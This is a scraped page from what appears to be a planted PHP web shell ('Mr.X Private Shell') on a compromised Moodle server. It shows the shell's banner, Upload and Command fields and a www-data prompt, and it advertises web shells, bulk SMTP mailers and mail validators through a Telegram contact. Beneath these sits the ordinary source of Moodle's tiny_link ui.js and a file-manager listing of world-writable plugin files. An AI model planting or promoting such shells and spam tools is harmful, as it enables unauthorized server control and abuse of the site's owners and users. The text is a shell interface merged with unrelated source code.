__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Tiny Link UI.
 *
 * @module      tiny_link/ui
 * @copyright   2023 Huong Nguyen <huongnv13@gmail.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import {getFilePicker} from 'editor_tiny/options';
import {displayFilepicker} from 'editor_tiny/utils';
import LinkModal from 'tiny_link/modal';
import {getPermissions} from "tiny_link/options";
import {setLink, getCurrentLinkData, unSetLink} from "tiny_link/link";
import Selectors from 'tiny_link/selectors';

/**
 * Handle action.
 *
 * @param {TinyMCE} editor
 * @param {boolean} unlink
 */
export const handleAction = (editor, unlink = false) => {
    if (!unlink) {
        displayDialogue(editor);
    } else {
        unSetLink(editor);
    }
};

/**
 * Display the link dialogue.
 *
 * @param {TinyMCE} editor
 * @returns {Promise<void>}
 */
const displayDialogue = async(editor) => {
    const modal = await LinkModal.create({
        templateContext: getTemplateContext(editor),
    });

    const $root = await modal.getRoot();
    const root = $root[0];
    const currentForm = root.querySelector('form');

    root.addEventListener('click', (e) => {
        const submitAction = e.target.closest(Selectors.actions.submit);
        const linkBrowserAction = e.target.closest(Selectors.actions.linkBrowser);
        if (submitAction) {
            e.preventDefault();
            setLink(currentForm, editor);
            modal.destroy();
        }
        if (linkBrowserAction) {
            e.preventDefault();
            displayFilepicker(editor, 'link').then((params) => {
                filePickerCallback(params, currentForm, editor);
                return modal.destroy();
            }).catch();
        }
    });

    const linkTitle = root.querySelector(Selectors.elements.urlText);
    const linkUrl = root.querySelector(Selectors.elements.urlEntry);
    linkTitle.addEventListener('change', () => {
        if (linkTitle.value.length > 0) {
            linkTitle.dataset.useLinkAsText = 'false';
        } else {
            linkTitle.dataset.useLinkAsText = 'true';
            linkTitle.value = linkUrl.value;
        }
    });

    linkUrl.addEventListener('keyup', () => {
        updateTextToDisplay(currentForm);
    });
};

/**
 * Get template context.
 *
 * @param {TinyMCE} editor
 * @returns {Object}
 */
const getTemplateContext = (editor) => {
    const data = getCurrentLinkData(editor);

    return Object.assign({}, {
        elementid: editor.id,
        showfilepicker: getPermissions(editor).filepicker &&
            (typeof getFilePicker(editor, 'link') !== 'undefined'),
        isupdating: Object.keys(data).length > 0,
    }, data);
};

/**
 * Update the dialogue after a link was selected in the File Picker.
 *
 * @param {Object} params
 * @param {Element} currentForm
 * @param {TinyMCE} editor
 */
const filePickerCallback = (params, currentForm, editor) => {
    if (params.url) {
        const inputUrl = currentForm.querySelector(Selectors.elements.urlEntry);
        inputUrl.value = params.url;
        setLink(currentForm, editor);
    }
};

/**
 * Update the text to display if the user does not provide the custom text.
 *
 * @param {Element} currentForm
 */
const updateTextToDisplay = (currentForm) => {
    const urlEntry = currentForm.querySelector(Selectors.elements.urlEntry);
    const urlText = currentForm.querySelector(Selectors.elements.urlText);
    if (urlText.dataset.useLinkAsText === 'true') {
        urlText.value = urlEntry.value;
    }
};

Filemanager

Name Type Size Permission Actions
commands.js File 2.36 KB 0777
common.js File 1.09 KB 0777
configuration.js File 1.66 KB 0777
link.js File 6.96 KB 0777
modal.js File 1.43 KB 0777
options.js File 1.68 KB 0777
plugin.js File 1.85 KB 0777
selectors.js File 1.18 KB 0777
ui.js File 4.09 KB 0777
Filemanager